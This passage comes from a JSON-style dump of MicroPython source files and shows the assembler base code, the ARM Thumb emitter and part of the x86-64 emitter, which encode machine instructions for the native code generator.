mp_asm_base_deinit(mp_asm_base_t *as, bool free_code) {\n    if (free_code) {\n        MP_PLAT_FREE_EXEC(as->code_base, as->code_size);\n    }\n    m_del(size_t, as->label_offsets, as->max_num_labels);\n}\n\nvoid mp_asm_base_start_pass(mp_asm_base_t *as, int pass) {\n    if (pass == MP_ASM_PASS_COMPUTE) {\n        // reset all labels\n        memset(as->label_offsets, -1, as->max_num_labels * sizeof(size_t));\n    } else if (pass == MP_ASM_PASS_EMIT) {\n        // allocating executable RAM is platform specific\n        MP_PLAT_ALLOC_EXEC(as->code_offset, (void**)&as->code_base, &as->code_size);\n        assert(as->code_base != NULL);\n    }\n    as->pass = pass;\n    as->code_offset = 0;\n}\n\n// all functions must go through this one to emit bytes\n// if as->pass < MP_ASM_PASS_EMIT, then this function just counts the number\n// of bytes needed and returns NULL, and callers should not store any data\nuint8_t *mp_asm_base_get_cur_to_write_bytes(mp_asm_base_t *as, size_t num_bytes_to_write) {\n    uint8_t *c = NULL;\n    if (as->pass == MP_ASM_PASS_EMIT) {\n        assert(as->code_offset + num_bytes_to_write <= as->code_size);\n        c = as->code_base + as->code_offset;\n    }\n    as->code_offset += num_bytes_to_write;\n    return c;\n}\n\nvoid mp_asm_base_label_assign(mp_asm_base_t *as, size_t label) {\n    assert(label < as->max_num_labels);\n    if (as->pass < MP_ASM_PASS_EMIT) {\n        // assign label offset\n        assert(as->label_offsets[label] == (size_t)-1);\n        as->label_offsets[label] = as->code_offset;\n    } else {\n        // ensure label offset has not changed from PASS_COMPUTE to PASS_EMIT\n        assert(as->label_offsets[label] == as->code_offset);\n    }\n}\n\n// align must be a multiple of 2\nvoid mp_asm_base_align(mp_asm_base_t* as, unsigned int align) {\n    as->code_offset = (as->code_offset + align - 1) & (~(align - 1));\n}\n\n// this function assumes a little endian machine\nvoid mp_asm_base_data(mp_asm_base_t* as, unsigned int bytesize, uintptr_t val) {\n    uint8_t *c = mp_asm_base_get_cur_to_write_bytes(as, bytesize);\n    if (c != NULL) {\n        for (unsigned int i = 0; i < bytesize; i++) {\n            *c++ = val;\n            val >>= 8;\n        }\n    }\n}\n\n#endif // MICROPY_EMIT_NATIVE || MICROPY_EMIT_INLINE_ASM\n"
  },
  {
    "path": "micropython/source/py/asmthumb.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n#include <assert.h>\n#include <string.h>\n\n#include \"py/mpconfig.h\"\n\n// wrapper around everything in this file\n#if MICROPY_EMIT_THUMB || MICROPY_EMIT_INLINE_THUMB\n\n#include \"py/mphal.h\"\n#include \"py/asmthumb.h\"\n\n#define UNSIGNED_FIT8(x) (((x) & 0xffffff00) == 0)\n#define UNSIGNED_FIT16(x) (((x) & 0xffff0000) == 0)\n#define SIGNED_FIT8(x) (((x) & 0xffffff80) == 0) || (((x) & 0xffffff80) == 0xffffff80)\n#define SIGNED_FIT9(x) (((x) & 0xffffff00) == 0) || (((x) & 0xffffff00) == 0xffffff00)\n#define SIGNED_FIT12(x) (((x) & 0xfffff800) == 0) || (((x) & 0xfffff800) == 0xfffff800)\n#define SIGNED_FIT23(x) (((x) & 0xffc00000) == 0) || (((x) & 0xffc00000) == 0xffc00000)\n\nstatic inline byte *asm_thumb_get_cur_to_write_bytes(asm_thumb_t *as, int n) {\n    return mp_asm_base_get_cur_to_write_bytes(&as->base, n);\n}\n\nvoid asm_thumb_end_pass(asm_thumb_t *as) {\n    (void)as;\n    // could check labels are resolved...\n\n    #if defined(MCU_SERIES_F7)\n    if (as->base.pass == MP_ASM_PASS_EMIT) {\n        // flush D-cache, so the code emitted is stored in memory\n        MP_HAL_CLEAN_DCACHE(as->base.code_base, as->base.code_size);\n        // invalidate I-cache\n        SCB_InvalidateICache();\n    }\n    #endif\n}\n\n/*\nSTATIC void asm_thumb_write_byte_1(asm_thumb_t *as, byte b1) {\n    byte *c = asm_thumb_get_cur_to_write_bytes(as, 1);\n    c[0] = b1;\n}\n*/\n\n/*\n#define IMM32_L0(x) ((x) & 0xff)\n#define IMM32_L1(x) (((x) >> 8) & 0xff)\n#define IMM32_L2(x) (((x) >> 16) & 0xff)\n#define IMM32_L3(x) (((x) >> 24) & 0xff)\n\nSTATIC void asm_thumb_write_word32(asm_thumb_t *as, int w32) {\n    byte *c = asm_thumb_get_cur_to_write_bytes(as, 4);\n    c[0] = IMM32_L0(w32);\n    c[1] = IMM32_L1(w32);\n    c[2] = IMM32_L2(w32);\n    c[3] = IMM32_L3(w32);\n}\n*/\n\n// rlolist is a bit map indicating desired lo-registers\n#define OP_PUSH_RLIST(rlolist)      (0xb400 | (rlolist))\n#define OP_PUSH_RLIST_LR(rlolist)   (0xb400 | 0x0100 | (rlolist))\n#define OP_POP_RLIST(rlolist)       (0xbc00 | (rlolist))\n#define OP_POP_RLIST_PC(rlolist)    (0xbc00 | 0x0100 | (rlolist))\n\n#define OP_ADD_SP(num_words) (0xb000 | (num_words))\n#define OP_SUB_SP(num_words) (0xb080 | (num_words))\n\n// locals:\n//  - stored on the stack in ascending order\n//  - numbered 0 through num_locals-1\n//  - SP points to first local\n//\n//  | SP\n//  v\n//  l0  l1  l2  ...  l(n-1)\n//  ^                ^\n//  | low address    | high address in RAM\n\nvoid asm_thumb_entry(asm_thumb_t *as, int num_locals) {\n    // work out what to push and how many extra spaces to reserve on stack\n    // so that we have enough for all locals and it's aligned an 8-byte boundary\n    // we push extra regs (r1, r2, r3) to help do the stack adjustment\n    // we probably should just always subtract from sp, since this would be more efficient\n    // for push rlist, lowest numbered register at the lowest address\n    uint reglist;\n    uint stack_adjust;\n    if (num_locals < 0) {\n        num_locals = 0;\n    }\n    // don't pop r0 because it's used for return value\n    switch (num_locals) {\n        case 0:\n            reglist = 0xf2;\n            stack_adjust = 0;\n            break;\n\n        case 1:\n            reglist = 0xf2;\n            stack_adjust = 0;\n            break;\n\n        case 2:\n            reglist = 0xfe;\n            stack_adjust = 0;\n            break;\n\n        case 3:\n            reglist = 0xfe;\n            stack_adjust = 0;\n            break;\n\n        default:\n            reglist = 0xfe;\n            stack_adjust = ((num_locals - 3) + 1) & (~1);\n            break;\n    }\n    asm_thumb_op16(as, OP_PUSH_RLIST_LR(reglist));\n    if (stack_adjust > 0) {\n        asm_thumb_op16(as, OP_SUB_SP(stack_adjust));\n    }\n    as->push_reglist = reglist;\n    as->stack_adjust = stack_adjust;\n}\n\nvoid asm_thumb_exit(asm_thumb_t *as) {\n    if (as->stack_adjust > 0) {\n        asm_thumb_op16(as, OP_ADD_SP(as->stack_adjust));\n    }\n    asm_thumb_op16(as, OP_POP_RLIST_PC(as->push_reglist));\n}\n\nSTATIC mp_uint_t get_label_dest(asm_thumb_t *as, uint label) {\n    assert(label < as->base.max_num_labels);\n    return as->base.label_offsets[label];\n}\n\nvoid asm_thumb_op16(asm_thumb_t *as, uint op) {\n    byte *c = asm_thumb_get_cur_to_write_bytes(as, 2);\n    if (c != NULL) {\n        // little endian\n        c[0] = op;\n        c[1] = op >> 8;\n    }\n}\n\nvoid asm_thumb_op32(asm_thumb_t *as, uint op1, uint op2) {\n    byte *c = asm_thumb_get_cur_to_write_bytes(as, 4);\n    if (c != NULL) {\n        // little endian, op1 then op2\n        c[0] = op1;\n        c[1] = op1 >> 8;\n        c[2] = op2;\n        c[3] = op2 >> 8;\n    }\n}\n\n#define OP_FORMAT_4(op, rlo_dest, rlo_src) ((op) | ((rlo_src) << 3) | (rlo_dest))\n\nvoid asm_thumb_format_4(asm_thumb_t *as, uint op, uint rlo_dest, uint rlo_src) {\n    assert(rlo_dest < ASM_THUMB_REG_R8);\n    assert(rlo_src < ASM_THUMB_REG_R8);\n    asm_thumb_op16(as, OP_FORMAT_4(op, rlo_dest, rlo_src));\n}\n\nvoid asm_thumb_mov_reg_reg(asm_thumb_t *as, uint reg_dest, uint reg_src) {\n    uint op_lo;\n    if (reg_src < 8) {\n        op_lo = reg_src << 3;\n    } else {\n        op_lo = 0x40 | ((reg_src - 8) << 3);\n    }\n    if (reg_dest < 8) {\n        op_lo |= reg_dest;\n    } else {\n        op_lo |= 0x80 | (reg_dest - 8);\n    }\n    // mov reg_dest, reg_src\n    asm_thumb_op16(as, 0x4600 | op_lo);\n}\n\n// if loading lo half with movw, the i16 value will be zero extended into the r32 register!\nvoid asm_thumb_mov_reg_i16(asm_thumb_t *as, uint mov_op, uint reg_dest, int i16_src) {\n    assert(reg_dest < ASM_THUMB_REG_R15);\n    // mov[wt] reg_dest, #i16_src\n    asm_thumb_op32(as, mov_op | ((i16_src >> 1) & 0x0400) | ((i16_src >> 12) & 0xf), ((i16_src << 4) & 0x7000) | (reg_dest << 8) | (i16_src & 0xff));\n}\n\n#define OP_B_N(byte_offset) (0xe000 | (((byte_offset) >> 1) & 0x07ff))\n\nbool asm_thumb_b_n_label(asm_thumb_t *as, uint label) {\n    mp_uint_t dest = get_label_dest(as, label);\n    mp_int_t rel = dest - as->base.code_offset;\n    rel -= 4; // account for instruction prefetch, PC is 4 bytes ahead of this instruction\n    asm_thumb_op16(as, OP_B_N(rel));\n    return as->base.pass != MP_ASM_PASS_EMIT || SIGNED_FIT12(rel);\n}\n\n#define OP_BCC_N(cond, byte_offset) (0xd000 | ((cond) << 8) | (((byte_offset) >> 1) & 0x00ff))\n\n// all these bit arithmetics need coverage testing!\n#define OP_BCC_W_HI(cond, byte_offset) (0xf000 | ((cond) << 6) | (((byte_offset) >> 10) & 0x0400) | (((byte_offset) >> 14) & 0x003f))\n#define OP_BCC_W_LO(byte_offset) (0x8000 | ((byte_offset) & 0x2000) | (((byte_offset) >> 1) & 0x0fff))\n\nbool asm_thumb_bcc_nw_label(asm_thumb_t *as, int cond, uint label, bool wide) {\n    mp_uint_t dest = get_label_dest(as, label);\n    mp_int_t rel = dest - as->base.code_offset;\n    rel -= 4; // account for instruction prefetch, PC is 4 bytes ahead of this instruction\n    if (!wide) {\n        asm_thumb_op16(as, OP_BCC_N(cond, rel));\n        return as->base.pass != MP_ASM_PASS_EMIT || SIGNED_FIT9(rel);\n    } else {\n        asm_thumb_op32(as, OP_BCC_W_HI(cond, rel), OP_BCC_W_LO(rel));\n        return true;\n    }\n}\n\n#define OP_BL_HI(byte_offset) (0xf000 | (((byte_offset) >> 12) & 0x07ff))\n#define OP_BL_LO(byte_offset) (0xf800 | (((byte_offset) >> 1) & 0x07ff))\n\nbool asm_thumb_bl_label(asm_thumb_t *as, uint label) {\n    mp_uint_t dest = get_label_dest(as, label);\n    mp_int_t rel = dest - as->base.code_offset;\n    rel -= 4; // account for instruction prefetch, PC is 4 bytes ahead of this instruction\n    asm_thumb_op32(as, OP_BL_HI(rel), OP_BL_LO(rel));\n    return as->base.pass != MP_ASM_PASS_EMIT || SIGNED_FIT23(rel);\n}\n\nvoid asm_thumb_mov_reg_i32(asm_thumb_t *as, uint reg_dest, mp_uint_t i32) {\n    // movw, movt does it in 8 bytes\n    // ldr [pc, #], dw does it in 6 bytes, but we might not reach to end of code for dw\n\n    asm_thumb_mov_reg_i16(as, ASM_THUMB_OP_MOVW, reg_dest, i32);\n    asm_thumb_mov_reg_i16(as, ASM_THUMB_OP_MOVT, reg_dest, i32 >> 16);\n}\n\nvoid asm_thumb_mov_reg_i32_optimised(asm_thumb_t *as, uint reg_dest, int i32) {\n    if (reg_dest < 8 && UNSIGNED_FIT8(i32)) {\n        asm_thumb_mov_rlo_i8(as, reg_dest, i32);\n    } else if (UNSIGNED_FIT16(i32)) {\n        asm_thumb_mov_reg_i16(as, ASM_THUMB_OP_MOVW, reg_dest, i32);\n    } else {\n        asm_thumb_mov_reg_i32(as, reg_dest, i32);\n    }\n}\n\n// i32 is stored as a full word in the code, and aligned to machine-word boundary\n// TODO this is very inefficient, improve it!\nvoid asm_thumb_mov_reg_i32_aligned(asm_thumb_t *as, uint reg_dest, int i32) {\n    // align on machine-word + 2\n    if ((as->base.code_offset & 3) == 0) {\n        asm_thumb_op16(as, ASM_THUMB_OP_NOP);\n    }\n    // jump over the i32 value (instruction prefetch adds 2 to PC)\n    asm_thumb_op16(as, OP_B_N(2));\n    // store i32 on machine-word aligned boundary\n    mp_asm_base_data(&as->base, 4, i32);\n    // do the actual load of the i32 value\n    asm_thumb_mov_reg_i32_optimised(as, reg_dest, i32);\n}\n\n#define OP_STR_TO_SP_OFFSET(rlo_dest, word_offset) (0x9000 | ((rlo_dest) << 8) | ((word_offset) & 0x00ff))\n#define OP_LDR_FROM_SP_OFFSET(rlo_dest, word_offset) (0x9800 | ((rlo_dest) << 8) | ((word_offset) & 0x00ff))\n\nvoid asm_thumb_mov_local_reg(asm_thumb_t *as, int local_num, uint rlo_src) {\n    assert(rlo_src < ASM_THUMB_REG_R8);\n    int word_offset = local_num;\n    assert(as->base.pass < MP_ASM_PASS_EMIT || word_offset >= 0);\n    asm_thumb_op16(as, OP_STR_TO_SP_OFFSET(rlo_src, word_offset));\n}\n\nvoid asm_thumb_mov_reg_local(asm_thumb_t *as, uint rlo_dest, int local_num) {\n    assert(rlo_dest < ASM_THUMB_REG_R8);\n    int word_offset = local_num;\n    assert(as->base.pass < MP_ASM_PASS_EMIT || word_offset >= 0);\n    asm_thumb_op16(as, OP_LDR_FROM_SP_OFFSET(rlo_dest, word_offset));\n}\n\n#define OP_ADD_REG_SP_OFFSET(rlo_dest, word_offset) (0xa800 | ((rlo_dest) << 8) | ((word_offset) & 0x00ff))\n\nvoid asm_thumb_mov_reg_local_addr(asm_thumb_t *as, uint rlo_dest, int local_num) {\n    assert(rlo_dest < ASM_THUMB_REG_R8);\n    int word_offset = local_num;\n    assert(as->base.pass < MP_ASM_PASS_EMIT || word_offset >= 0);\n    asm_thumb_op16(as, OP_ADD_REG_SP_OFFSET(rlo_dest, word_offset));\n}\n\n// this could be wrong, because it should have a range of +/- 16MiB...\n#define OP_BW_HI(byte_offset) (0xf000 | (((byte_offset) >> 12) & 0x07ff))\n#define OP_BW_LO(byte_offset) (0xb800 | (((byte_offset) >> 1) & 0x07ff))\n\nvoid asm_thumb_b_label(asm_thumb_t *as, uint label) {\n    mp_uint_t dest = get_label_dest(as, label);\n    mp_int_t rel = dest - as->base.code_offset;\n    rel -= 4; // account for instruction prefetch, PC is 4 bytes ahead of this instruction\n    if (dest != (mp_uint_t)-1 && rel <= -4) {\n        // is a backwards jump, so we know the size of the jump on the first pass\n        // calculate rel assuming 12 bit relative jump\n        if (SIGNED_FIT12(rel)) {\n            asm_thumb_op16(as, OP_B_N(rel));\n        } else {\n            goto large_jump;\n        }\n    } else {\n        // is a forwards jump, so need to assume it's large\n        large_jump:\n        asm_thumb_op32(as, OP_BW_HI(rel), OP_BW_LO(rel));\n    }\n}\n\nvoid asm_thumb_bcc_label(asm_thumb_t *as, int cond, uint label) {\n    mp_uint_t dest = get_label_dest(as, label);\n    mp_int_t rel = dest - as->base.code_offset;\n    rel -= 4; // account for instruction prefetch, PC is 4 bytes ahead of this instruction\n    if (dest != (mp_uint_t)-1 && rel <= -4) {\n        // is a backwards jump, so we know the size of the jump on the first pass\n        // calculate rel assuming 9 bit relative jump\n        if (SIGNED_FIT9(rel)) {\n            asm_thumb_op16(as, OP_BCC_N(cond, rel));\n        } else {\n            goto large_jump;\n        }\n    } else {\n        // is a forwards jump, so need to assume it's large\n        large_jump:\n        asm_thumb_op32(as, OP_BCC_W_HI(cond, rel), OP_BCC_W_LO(rel));\n    }\n}\n\n#define OP_BLX(reg) (0x4780 | ((reg) << 3))\n#define OP_SVC(arg) (0xdf00 | (arg))\n\nvoid asm_thumb_bl_ind(asm_thumb_t *as, void *fun_ptr, uint fun_id, uint reg_temp) {\n    /* TODO make this use less bytes\n    uint rlo_base = ASM_THUMB_REG_R3;\n    uint rlo_dest = ASM_THUMB_REG_R7;\n    uint word_offset = 4;\n    asm_thumb_op16(as, 0x0000);\n    asm_thumb_op16(as, 0x6800 | (word_offset << 6) | (rlo_base << 3) | rlo_dest); // ldr rlo_dest, [rlo_base, #offset]\n    asm_thumb_op16(as, 0x4780 | (ASM_THUMB_REG_R9 << 3)); // blx reg\n    */\n\n    if (fun_id < 32) {\n        // load ptr to function from table, indexed by fun_id (must be in range 0-31); 4 bytes\n        asm_thumb_op16(as, ASM_THUMB_FORMAT_9_10_ENCODE(ASM_THUMB_FORMAT_9_LDR | ASM_THUMB_FORMAT_9_WORD_TRANSFER, reg_temp, ASM_THUMB_REG_R7, fun_id));\n        asm_thumb_op16(as, OP_BLX(reg_temp));\n    } else {\n        // load ptr to function into register using immediate; 6 bytes\n        asm_thumb_mov_reg_i32(as, reg_temp, (mp_uint_t)fun_ptr);\n        asm_thumb_op16(as, OP_BLX(reg_temp));\n    }\n}\n\n#endif // MICROPY_EMIT_THUMB || MICROPY_EMIT_INLINE_THUMB\n"
  },
  {
    "path": "micropython/source/py/asmx64.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdint.h>\n#include <stdio.h>\n#include <assert.h>\n#include <string.h>\n\n#include \"py/mpconfig.h\"\n\n// wrapper around everything in this file\n#if MICROPY_EMIT_X64\n\n#include \"py/asmx64.h\"\n\n/* all offsets are measured in multiples of 8 bytes */\n#define WORD_SIZE                (8)\n\n#define OPCODE_NOP               (0x90)\n#define OPCODE_PUSH_R64          (0x50) /* +rq */\n#define OPCODE_PUSH_I64          (0x68)\n#define OPCODE_PUSH_M64          (0xff) /* /6 */\n#define OPCODE_POP_R64           (0x58) /* +rq */\n#define OPCODE_RET               (0xc3)\n#define OPCODE_MOV_I8_TO_R8      (0xb0) /* +rb */\n#define OPCODE_MOV_I64_TO_R64    (0xb8) /* +rq */\n#define OPCODE_MOV_I32_TO_RM32   (0xc7)\n#define OPCODE_MOV_R8_TO_RM8     (0x88) /* /r */\n#define OPCODE_MOV_R64_TO_RM64   (0x89) /* /r */\n#define OPCODE_MOV_RM64_TO_R64   (0x8b) /* /r */\n#define OPCODE_MOVZX_RM8_TO_R64  (0xb6) /* 0x0f 0xb6/r */\n#define OPCODE_MOVZX_RM16_TO_R64 (0xb7) /* 0x0f 0xb7/r */\n#define OPCODE_LEA_MEM_TO_R64    (0x8d) /* /r */\n#define OPCODE_AND_R64_TO_RM64   (0x21) /* /r */\n#define OPCODE_OR_R64_TO_RM64    (0x09) /* /r */\n#define OPCODE_XOR_R64_TO_RM64   (0x31) /* /r */\n#define OPCODE_ADD_R64_TO_RM64   (0x01) /* /r */\n#define OPCODE_ADD_I32_TO_RM32   (0x81) /* /0 */\n#define OPCODE_ADD_I8_TO_RM32    (0x83) /* /0 */\n#define OPCODE_SUB_R64_FROM_RM64 (0x29)\n#define OPCODE_SUB_I32_FROM_RM64 (0x81) /* /5 */\n#define OPCODE_SUB_I8_FROM_RM64  (0x83) /* /5 */\n//#define OPCODE_SHL_RM32_BY_I8    (0xc1) /* /4 */\n//#define OPCODE_SHR_RM32_BY_I8    (0xc1) /* /5 */\n//#define OPCODE_SAR_RM32_BY_I8    (0xc1) /* /7 */\n#define OPCODE_SHL_RM64_CL       (0xd3) /* /4 */\n#define OPCODE_SAR_RM64_CL       (0xd3) /* /7 */\n//#define OPCODE_CMP_I32_WITH_RM32 (0x81) /* /7 */\n//#define OPCODE_CMP_I8_WITH_RM32  (0x83) /* /7 */\n#define OPCODE_CMP_R64_WITH_RM64 (0x39) /* /r */\n//#define OPCODE_CMP_RM32_WITH_R32 (0x3b)\n#define OPCODE_TEST_R8_WITH_RM8  (0x84) /* /r */\n#define OPCODE_JMP_REL8          (0xeb)\n#define OPCODE_JMP_REL32         (0xe9)\n#define OPCODE_JCC_REL8          (0x70) /* | jcc type */\n#define OPCODE_JCC_REL32_A       (0x0f)\n#define OPCODE_JCC_REL32_B       (0x80) /* | jcc type */\n#define OPCODE_SETCC_RM8_A       (0x0f)\n#define OPCODE_SETCC_RM8_B       (0x90) /* | jcc type, /0 */\n#define OPCODE_CALL_REL32        (0xe8)\n#define OPCODE_CALL_RM32         (0xff) /* /2 */\n#define OPCODE_LEAVE             (0xc9)\n\n#define MODRM_R64(x)    (((x) & 0x7) << 3)\n#define MODRM_RM_DISP0  (0x00)\n#define MODRM_RM_DISP8  (0x40)\n#define MODRM_RM_DISP32 (0x80)\n#define MODRM_RM_REG    (0xc0)\n#define MODRM_RM_R64(x) ((x) & 0x7)\n\n#define OP_SIZE_PREFIX (0x66)\n\n#define REX_PREFIX  (0x40)\n#define REX_W       (0x08)  // width\n#define REX_R       (0x04)  // register\n#define REX_X       (0x02)  // index\n#define REX_B       (0x01)  // base\n#define REX_W_FROM_R64(r64) ((r64) >> 0 & 0x08)\n#define REX_R_FROM_R64(r64) ((r64) >> 1 & 0x04)\n#define REX_X_FROM_R64(r64) ((r64) >> 2 & 0x02)\n#define REX_B_FROM_R64(r64) ((r64) >> 3 & 0x01)\n\n#define IMM32_L0(x) ((x) & 0xff)\n#define IMM32_L1(x) (((x) >> 8) & 0xff)\n#define IMM32_L2(x) (((x) >> 16) & 0xff)\n#define IMM32_L3(x) (((x) >> 24) & 0xff)\n#define IMM64_L4(x) (((x) >> 32) & 0xff)\n#define IMM64_L5(x) (((x) >> 40) & 0xff)\n#define IMM64_L6(x) (((x) >> 48) & 0xff)\n#define IMM64_L7(x) (((x) >> 56) & 0xff)\n\n#define UNSIGNED_FIT8(x) (((x) & 0xffffffffffffff00) == 0)\n#define UNSIGNED_FIT32(x) (((x) & 0xffffffff00000000) == 0)\n#define SIGNED_FIT8(x) (((x) & 0xffffff80) == 0) || (((x) & 0xffffff80) == 0xffffff80)\n\nstatic inline byte *asm_x64_get_cur_to_write_bytes(asm_x64_t *as, int n) {\n    return mp_asm_base_get_cur_to_write_bytes(&as->base, n);\n}\n\nSTATIC void asm_x64_write_byte_1(asm_x64_t *as, byte b1) {\n    byte* c = asm_x64_get_cur_to_write_bytes(as, 1);\n    if (c != NULL) {\n        c[0] = b1;\n    }\n}\n\nSTATIC void asm_x64_write_byte_2(asm_x64_t *as, byte b1, byte b2) {\n    byte* c = asm_x64_get_cur_to_write_bytes(as, 2);\n    if (c != NULL) {\n        c[0] = b1;\n        c[1] = b2;\n    }\n}\n\nSTATIC void asm_x64_write_byte_3(asm_x64_t *as, byte b1, byte b2, byte b3) {\n    byte* c = asm_x64_get_cur_to_write_bytes(as, 3);\n    if (c != NULL) {\n        c[0] = b1;\n        c[1] = b2;\n        c[2] = b3;\n    }\n}\n\nSTATIC void asm_x64_write_word32(asm_x64_t *as, int w32) {\n    byte* c = asm_x64_get_cur_to_write_bytes(as, 4);\n    if (c != NULL) {\n        c[0] = IMM32_L0(w32);\n        c[1] = IMM32_L1(w32);\n        c[2] = IMM32_L2(w32);\n        c[3] = IMM32_L3(w32);\n    }\n}\n\nSTATIC void asm_x64_write_word64(asm_x64_t *as, int64_t w64) {\n    byte* c = asm_x64_get_cur_to_write_bytes(as, 8);\n    if (c != NULL) {\n        c[0] = IMM32_L0(w64);\n        c[1] = IMM32_L1(w64);\n        c[2] = IMM32_L2(w64);\n        c[3] = IMM32_L3(w64);\n        c[4] = IMM64_L4(w64);\n        c[5] = IMM64_L5(w64);\n        c[6] = IMM64_L6(w64);\n        c[7] = IMM64_L7(w64);\n    }\n}\n\n/* unused\nSTATIC void asm_x64_write_word32_to(asm_x64_t *as, int offset, int w32) {\n    byte* c;\n    assert(offset + 4 <= as->code_size);\n    c = as->code_base + offset;\n    c[0] = IMM32_L0(w32);\n    c[1] = IMM32_L1(w32);\n    c[2] = IMM32_L2(w32);\n    c[3] = IMM32_L3(w32);\n}\n*/\n\nSTATIC void asm_x64_write_r64_disp(asm_x64_t *as, int r64, int disp_r64, int disp_offset) {\n    assert(disp_r64 != ASM_X64_REG_RSP);\n\n    if (disp_r64 == ASM_X64_REG_R12) {\n        // special case for r12; not fully implemented\n        assert(SIGNED_FIT8(disp_offset));\n        asm_x64_write_byte_3(as, MODRM_R64(r64) | MODRM_RM_DISP8 | MODRM_RM_R64(disp_r64), 0x24, IMM32_L0(disp_offset));\n        return;\n    }\n\n    if (disp_offset == 0 && disp_r64 != ASM_X64_REG_RBP) {\n        asm_x64_write_byte_1(as, MODRM_R64(r64) | MODRM_RM_DISP0 | MODRM_RM_R64(disp_r64));\n    } else if (SIGNED_FIT8(disp_offset)) {\n        asm_x64_write_byte_2(as, MODRM_R64(r64) | MODRM_RM_DISP8 | MODRM_RM_R64(disp_r64), IMM32_L0(disp_offset));\n    } else {\n        asm_x64_write_byte_1(as, MODRM_R64(r64) | MODRM_RM_DISP32 | MODRM_RM_R64(disp_r64));\n        asm_x64_write_word32(as, disp_offset);\n    }\n}\n\nSTATIC void asm_x64_generic_r64_r64(asm_x64_t *as, int dest_r64, int src_r64, int op) {\n    asm_x64_write_byte_3(as, REX_PREFIX | REX_W | REX_R_FROM_R64(src_r64) | REX_B_FROM_R64(dest_r64), op, MODRM_R64(src_r64) | MODRM_RM_REG | MODRM_RM_R64(dest_r64));\n}\n\nvoid asm_x64_nop(asm_x64_t *as) {\n    asm_x64_write_byte_1(as, OPCODE_NOP);\n}\n\nvoid asm_x64_push_r64(asm_x64_t *as, int src_r64) {\n    if (src_r64 < 8) {\n        asm_x64_write_byte_1(as, OPCODE_PUSH_R64 | src_r64);\n    } else {\n        asm_x64_write_byte_2(as, REX_PREFIX | REX_B, OPCODE_PUSH_R64 | (src_r64 & 7));\n    }\n}\n\n/*\nvoid asm_x64_push_i32(asm_x64_t *as, int src_i32) {\n    asm_x64_write_byte_1(as, OPCODE_PUSH_I64);\n    asm_x64_write_word32(as, src_i32); // will be sign extended to 64 bits\n}\n*/\n\n/*\nvoid asm_x64_push_disp(asm_x64_t *as, int src_r64, int src_offset) {\n    assert(src_r64 < 8);\n    asm_x64_write_byte_1(as, OPCODE_PUSH_M64);\n    asm_x64_write_r64_disp(as, 6, src_r64, src_offset);\n}\n*/\n\nvoid asm_x64_pop_r64(asm_x64_t *as, int dest_r64) {\n    if (dest_r64 < 8) {\n        asm_x64_write_byte_1(as, OPCODE_POP_R64 | dest_r64);\n    } else {\n        asm_x64_write_byte_2(as, REX_PREFIX | REX_B, OPCODE_POP_R64 | (dest_r64 & 7));\n    }\n}\n\nSTATIC void asm_x64_ret(asm_x64_t *as) {\n    asm_x64_write_byte_1(as, OPCODE_RET);\n}\n\nvoid asm_x64_mov_r64_r64(asm_x64_t *as, int dest_r64, int src_r64) {\n    asm_x64_generic_r64_r64(as, dest_r64, src_r64, OPCODE_MOV_R64_TO_RM64);\n}\n\nvoid asm_x64_mov_r8_to_mem8(asm_x64_t *as, int src_r64, int dest_r64, int dest_disp) {\n    if (src_r64 < 8 && dest_r64 < 8) {\n        asm_x64_write_byte_1(as, OPCODE_MOV_R8_TO_RM8);\n    } else {\n        asm_x64_write_byte_2(as, REX_PREFIX | REX_R_FROM_R64(src_r64) | REX_B_FROM_R64(dest_r64), OPCODE_MOV_R8_TO_RM8);\n    }\n    asm_x64_write_r64_disp(as, src_r64, dest_r64, dest_disp);\n}\n\nvoid asm_x64_mov_r16_to_mem16(asm_x64_t *as, int src_r64, int dest_r64, int dest_disp) {\n    if (src_r64 < 8 && dest_r64 < 8) {\n        asm_x64_write_byte_2(as, OP_SIZE_PREFIX, OPCODE_MOV_R64_TO_RM64);\n    } else {\n        asm_x64_write_byte_3(as, OP_SIZE_PREFIX, REX_PREFIX | REX_R_FROM_R64(src_r64) | REX_B_FROM_R64(dest_r64), OPCODE_MOV_R64_TO_RM64);\n    }\n    asm_x64_write_r64_disp(as, src_r64, dest_r64, 